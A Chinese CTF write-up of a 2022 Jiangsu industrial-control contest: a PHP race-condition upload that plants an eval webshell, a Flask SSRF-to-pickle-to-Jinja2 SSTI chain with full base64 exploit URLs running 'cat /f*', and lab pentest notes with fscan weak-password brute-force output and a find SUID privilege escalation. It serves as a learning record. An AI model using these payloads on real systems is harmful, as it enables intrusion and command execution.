2022年江苏工控选拔赛WP-Web

2023-05-18 09:21:47 浏览数 (2)

2022年江苏工控选拔赛WP-Web

对于这场比赛客观的说–血压高的一言难尽, 支持**

比赛分两场, 上半场是早上的上午9点开始12点结束(CTF), 下半场是下午2点开始4点结束(场景题 渗透测试)

web不得不吐槽一下, 两个题目, 第一个没源码要自己找到条件竞争文件上传的方式,但是平台的服务器太拉了并发高一点就直接崩, 全靠google做题, 第二个简单匹配绕过 __main__模块限制的Pickle SSTI直接审就能自己做了(也是原题), 最离谱的是全场比赛能成功正常打开题目的时间加起来也就10mins左右, 目前为止环境体验最差的一场比赛

这份WP并没有什么东西, 文章看起来也比较废话连篇和浮躁, 戾气可能稍大了点(或许""可能""两个字可以直接删掉?), 原本对这个没什么新知识点的比赛不打算写WP记录的, 但是想了一下, 渗透模式的比赛除了上次的鹏城杯决赛就是这次了(虽然只有两小时且毫无体验感), 所以还是写一下今天比赛的一些总结教训吧, 同时也是记录一下今天做了什么(写完待会再学一下Windows的各类劫持哈哈

上半场-CTF

wzsc

开局一个文件上传的form, 没任何信息, 只能传图片, 非图片在上传了之后访问/upload/filename会显示404, 是图片就正常输出

一开始做了半天想是不是什么特殊文件名绕过黑名单, 但是测试了一下没什么可用的就呆住了, 然后直接搜了一下发现是泰山杯的原题(攻防世界web进阶区 泰山杯 wzsc_文件上传), 直接拿exp打就行

知识点是条件竞争, 上传的非图片会先正常保存到upload目录下面, 检测到非图片就删除

代码语言:javascript复制
<?php
allowtype = array("txt","jpeg","bmv","doc","docx","gif","png","jpg");size = 10000000;
path = "./upload/";filename = _FILES['file']['name'];

if (is_uploaded_file(_FILES['file']['tmp_name'])){
    if (!move_uploaded_file(_FILES['file']['tmp_name'],path.filename)){
        exit();
    }   
} else {
    exit();
}newfile = path.filename;

if (_FILES['file']['error']>0){
    unlink(newfile);
    exit();
}

ext = array_pop(explode(".",_FILES['file']['name']));
if (!in_array(ext,allowtype)){
    unlink($newfile);
    exit();
}
?>

所以直接burp开了个Intruder爆破模块, 一个不断的发送文件上传请求, 上传一个写入webshell的a.php

代码语言:javascript复制
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

另一个爆破模块不断访问/upload/a.php触发webshell的写入

然后我们只需要不断尝试访问/upload/shell.php, 访问成功了就可以把两个线程停了然后cat /f*拿flag了

Funpy

直接下载附件看源码, 一开始看到了使用urllib访问还以为要http走私, 但是结果一看压根不需要, 直接就定向发包访问127.0.0.1就行

  1. 路由/get_baidu只能访问http://, 检测第一个@, 并且截取在此之后的第一个/, 取出中间的数据, 必须等于www.baidu.com
  2. 路由/admin只能本地127.0.0.1访问, 之后会取出data参数进行pickle反序列化, 但是只能导入获取__main__模块, 反序列化结束之后对ctf_config.name进行SSTI模板渲染
代码语言:javascript复制
import threading

from flask import Flask, render_template, redirect
from flask import request
import urllib
import sys
import os
import pickle
import ctf_config
from jinja2 import Template
import base64
import io

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("only __main__")

def get_domain(url):
    if url.startswith('http://'):
        url = url[7:]
        if not url.find("/") == -1:
            domain = url[url.find("@") 1:url.index("/",url.find("@"))]
        else:
            domain = url[url.find("@") 1:]
        return domain
    else:
        return False

@app.route("/", methods=['GET'])
def index():
    return render_template("index.html")

@app.route("/get_baidu", methods=['GET'])
def get_baidu():
    url = request.args.get("url")
    if(url == None):
        return "please get url"
    if(get_domain(url) == "www.baidu.com"):
        content = urllib.request.urlopen(url).read()
        return content
    else:
        return render_template('index.html')

@app.route("/admin", methods=['GET'])
def admin():
    data = request.args.get("data")
    if(data == None):
        return "please get data"
    ip = request.remote_addr
    if ip != '127.0.0.1':
        return redirect('index')
    else:
        print(data)
        name = base64.b64decode(data)
        print(name)
        if b'R' in name:
            return "no __reduce__"
        name = RestrictedUnpickler(io.BytesIO(name)).load()
        print("name",name)
        if name == "admin":
            t = Template("Hello "   name)
        else:
            t = Template("Hello "   ctf_config.name)
        return t.render()
@app.route("/test", methods=['GET'])
def testx():
    # os.system("calc")
    data=request.args.get("data")
    print(data)
    print(request.remote_addr)
    name = base64.b64decode(data)
    print(name)
    name = RestrictedUnpickler(io.BytesIO(name)).load()
    print(name)
    t = Template("Hello "   request.args.get("data"))
    return t.render()

def test():
    url="http://127.0.0.1:8000/test?data=aaa&tt=@www.baidu.com/"
    print(get_domain(url))
    content = urllib.request.urlopen(url).read()
    print(content)
if __name__ == '__main__':
    app.debug = False
    # threading.Thread(target=test).start()
    app.run(host='0.0.0.0', port=8000)

所以这里绕过www.baidu.com不是什么问题, 直接加在最后面就行

然后我们可以先使用c操作获取__main__.ctf_config模块, 然后再使用b操作设置模块的name属性, 从而完成对ctf_config.name的任意修改

之后SSTI模板渲染没有任何限制, 直接一马平川没有任何过滤, 这里放一个个人常用的exp:

代码语言:javascript复制
{{url_for.__globals__.os.popen('cat /f*').read()}}

先渲染一个{7*7}测试一下

代码语言:javascript复制
http://targetIP:port/get_domain?url=http:/127.0.0.1:8000/admin?data=gANjX19tYWluX18KY3RmX2NvbmZpZwp9KFZuYW1lClZ7eyA3KjcgfX0KdWIwVgou&xxx=@www.baidu.com/

然后成功的话就可以直接使用上面的paylaod进行渲染执行命令

代码语言:javascript复制
http://targetIP:port/get_domain?url=http:/127.0.0.1:8000/admin?data=gANjX19tYWluX18KY3RmX2NvbmZpZwp9KFZuYW1lClZ7eyB1cmxfZm9yLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgL2YqJykucmVhZCgpIH19CnViMFYKLg==&xxx=@www.baidu.com/

Howerver…当时我们做的时候我只渲染成功了7*7, 甚至连config都没渲染出来, 然后我又测试了一下其他的payload, 比如原题WP中的[].__class__.__base__.__subclasses__(), 但也是失败了无显示, 执行exp也没用, 一开始我以为是出题人改了题目环境Python的SSTI渲染源码, 但是并非如此(我们学校有个队伍出了, 问了一下就是直接用上面原题WP中的exp, 直接呆住了….)

场景题 — 渗透测试

这个是真的拉胯(平台拉我也拉), 平台的VPN断了好几次, 也没有本地的映射IP, 加上题目环境是完全不出网的所以想谈个shell都做不到, 另外套上了代理导致一些操作都不大方便进行, 另外一个最大的问题就是只有2小时, 打速度战对我这个老年玩家来说就是噩梦了

我们队伍最后交了flag的也就一个花2分钟就能kill掉的Shiro主机在Desktop的flag (高校组还有几个队伍全场最高也就2个flag, 交多了个findSUID提权成功的flag) Spiderman × 失败的man √

部分题目描述(一共8个题的,不过当我就记了几个)

控制机器的任务我们都没有出, 那几个对机器控制的题目我估计就是给我时间我也做不懂(没怎么了解过工控的东西,终究是太菜了…)

代码语言:javascript复制
火电 - 权限提升

获取火电官网系统用户根目录flag文件, 提交格式:flag{xxx}

cidr: 10.104.1.0/24

上位机控制

渗透获取火电上位机权限,提交格式:flag{xxx}。

cidr: 10.104.1.0/24

控制水泵运行状态

系统在进行停机的状态下,攻击者通过某种手段获取给水泵的启动变量对应的寄存器为m0.1,并将给水泵远程启动,请复现其攻击过程,并提交解题writeup。

cidr: 10.104.1.0/24

控制引风机运行状态

黑客进入到火电的上位机后,发现引风机的操作没有进行权限操作,无需账户登录,通过操作员常规操作即可完成对引风机的操作,成功将引风机启动,请复现其攻击过程,并提交解题writeup。

cidr: 10.104.1.0/24

信息管理系统

下面是几个没啥用的做题期间为了方便而随手记下的几个信息copy和截图, 删不删无所谓所以就直接留着了当个现场纪录吧…

http://10.104.1.191:8080/

代码语言:javascript复制
nt authoritysystem
------------------ -----------------------------------------------------

Windows IP 配置

   主机名  . . . . . . . . . . . . . : 410526shirorce0
   主 DNS 后缀 . . . . . . . . . . . : 
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否
   DNS 后缀搜索列表  . . . . . . . . : openstacklocal

以太网适配器 taped9cbd01-51:

   连接特定的 DNS 后缀 . . . . . . . : openstacklocal
   描述. . . . . . . . . . . . . . . : Red Hat VirtIO Ethernet Adapter #2
   物理地址. . . . . . . . . . . . . : FA-16-3E-9B-05-94
   DHCP 已启用 . . . . . . . . . . . : 是
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::38ad:5d20:404c:bce6%3(首选) 
   IPv4 地址 . . . . . . . . . . . . : 10.10.210.232(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   获得租约的时间  . . . . . . . . . : 2022年11月2日 0:11:41
   租约过期的时间  . . . . . . . . . : 2022年11月3日 12:11:41
   默认网关. . . . . . . . . . . . . : 10.10.210.1
   DHCP 服务器 . . . . . . . . . . . : 10.10.210.129
   DHCPv6 IAID . . . . . . . . . . . : 100275774
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-27-21-95-19-52-54-00-89-20-9E
   DNS 服务器  . . . . . . . . . . . : 172.16.104.101
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

隧道适配器 isatap.openstacklocal:

   媒体状态  . . . . . . . . . . . . : 媒体已断开连接
   连接特定的 DNS 后缀 . . . . . . . : openstacklocal
   描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
   物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
-----------------------------------------------------------------------

蚁剑执行C段扫描命令返回结果:

代码语言:javascript复制
来自 10.10.210.1 的回复: 字节=32 时间<1ms TTL=64
来自 10.10.210.129 的回复: 字节=32 时间=1ms TTL=64
来自 10.10.210.219 的回复: 字节=32 时间=2ms TTL=64
来自 10.10.210.232 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.210.236 的回复: 字节=32 时间=2ms TTL=128
代码语言:javascript复制
   ___                              _
  / _      ___  ___ _ __ __ _  ___| | __
 / /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______  (__| | | (_| | (__|   <
____/     |___/___|_|  __,_|___|_|_
                     fscan version: 1.8.1
start infoscan
(icmp) Target 10.104.1.1      is alive
(icmp) Target 10.104.1.2      is alive
(icmp) Target 10.104.1.62     is alive
(icmp) Target 10.104.1.76     is alive
(icmp) Target 10.104.1.191    is alive
[*] Icmp alive hosts len is: 5
10.104.1.191:135 open
10.104.1.62:443 open
10.104.1.191:139 open
10.104.1.62:3306 open
10.104.1.191:3306 open
10.104.1.62:22 open
10.104.1.62:80 open
10.104.1.191:80 open
10.104.1.62:21 open
10.104.1.191:8080 open
[*] alive ports len is: 10
start vulscan
[*] WebTitle:http://10.104.1.62        code:200 len:45331  title:某火力发电与电力输配电官网
[*] WebTitle:http://10.104.1.191:8080  code:302 len:0      title:None 跳转url: http://10.104.1.191:8080/login;jsessionid=0E7382B07FCE75E8B9FAF66B084A7739
[*] WebTitle:https://10.104.1.62       code:200 len:45331  title:某火力发电与电力输配电官网
[*] WebTitle:http://10.104.1.191:8080/login;jsessionid=0E7382B07FCE75E8B9FAF66B084A7739 code:200 len:3710   title:用户登录
[*] WebTitle:http://10.104.1.191       code:200 len:98711  title:油气集输门户官方网站
[ ] http://10.104.1.191:8080/ poc-yaml-shiro-key [{mode cbc} {key kPH bIxk5D2deZiIxcaaaA==}]
已完成 8/10 [-] ssh 10.104.1.62:22 root Passw0rd ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/10 [-] ssh 10.104.1.62:22 root Aa12345 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/10 [-] ssh 10.104.1.62:22 admin 123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/10 [-] ssh 10.104.1.62:22 admin 123qwe!@# ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/10 [-] ssh 10.104.1.62:22 admin 1qaz!QAZ ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 9/10 [-] ftp://10.104.1.62:21 ftp 123456789 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 ftp 000000 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 ftp abc123456 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 ftp Aa12345 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 ftp sysadmin 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 ftp A123456s! 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin admin 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin password 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin admin@123 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin admin123 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin admin@123#4 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin test 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin 666666 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin 8888888 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin a11111 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin a123123 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin 1qaz!QAZ 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 admin 1q2w3e 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 www root 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 www 654321 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 www admin123!@# 530 Login incorrect.
已完成 9/10 [-] ftp://10.104.1.62:21 www www_123 530 Login incorrect.
已完成 10/10
[*] 扫描结束,耗时: 28m16.9044279s

find的SUID提权:

代码语言:javascript复制
find /etc/passwd -exec cat /root/f* ; 

个人的反思

应该说这部分就是我写这篇文章的目的了, 给自己写一点栽跟头的笔记 “人告之以有过则喜”(《孟子·公孙丑上》) “人谁无过,过而能改,善莫大焉”(《左传·宣公二年》) “小人之过也必文。”(《论语·子张》) “过则勿惮改。”(《论语·学而》) “过而不改,是谓过矣!”(《论语·卫灵公》)

场景题回顾

开局拿到一个shiro的Administrator用户之后还想着要不要直接把靶机套到MSF和CS上直接进行内网渗透这应该说就是一个错误的选择(当时8个题目全部都是只给了一个相同的C段

直接上去到SHiro主机执行net user /doamin直接返回看到WORKGROUP请求域控失败了说明机子没加到域内, 但是扫了主机所在的内网C段发现存活主机数和自己从外部扫到的存户数是一样的)

(然后我的时间几乎都花在这了却没有任何效果, 直接在这寄了, 因为后面我自己做了一下扫出来的几个网站和端口没一个是攻击特征比较明显的

反思

我觉得自己还是由比较多的问题的, 总结了一下拉胯表现的原因(就当为下次做渗透模式的场景题写教训笔记了)

  1. 在宿舍的主机没带着D盘回来, 我的渗透工具几乎都是在机械盘D盘上的所以开始的时候为了准备工具和环境就花了十几分钟然后才开始fscan扫描
  2. `业务操作不熟练, 这点有点拉胯, 有段时间没做外网渗透了, 所以运行一些工具花了些时间才适应过来
  3. 信息关注不及时, 当时主办方估计是考虑时间短所以直接给了一个网站的后台账密, 但是这点我并没有关注, 所以看到扫出的几个站都没特征的时候就想着上Shiro主机从172内网过去看看有没有什么新发现, 另一个就是从网站数据库找账密和信息与其他站点的Mysql | RDP | SSH进行撞库(显然我没有做到)
  4. 和队友缺少交流, 为了方便和队友交流, 我把我的台式向日葵到了我的笔记本, 然后带着笔记本在活动室操作, 但是网络很不好所以我不得不回到宿舍直接在台式操作了, 而这段时间一直没和队友交流, 队友是看到公告并且找到后台拿到webshell了的, 但是他们一直使用find进行SUID提权都没成功(而我比赛快结束的时候才回去和队友们一起, 然后我尝试了几分钟就提权成功拿到root的flag了,但是比赛结束了……)
  5. 时间短, 没适应流程化操作(老毛病了, 做题一直都是蜗牛速度….)

(另外忘了提权的那个题目好像还有一个flag?没找到可惜了. 另外当时应该看一下那个提权的服务器有没有域或者数据库账号密码的(虽然比赛已经结束了))

2022_11_02 第十一周星期三 21:00

0 人点赞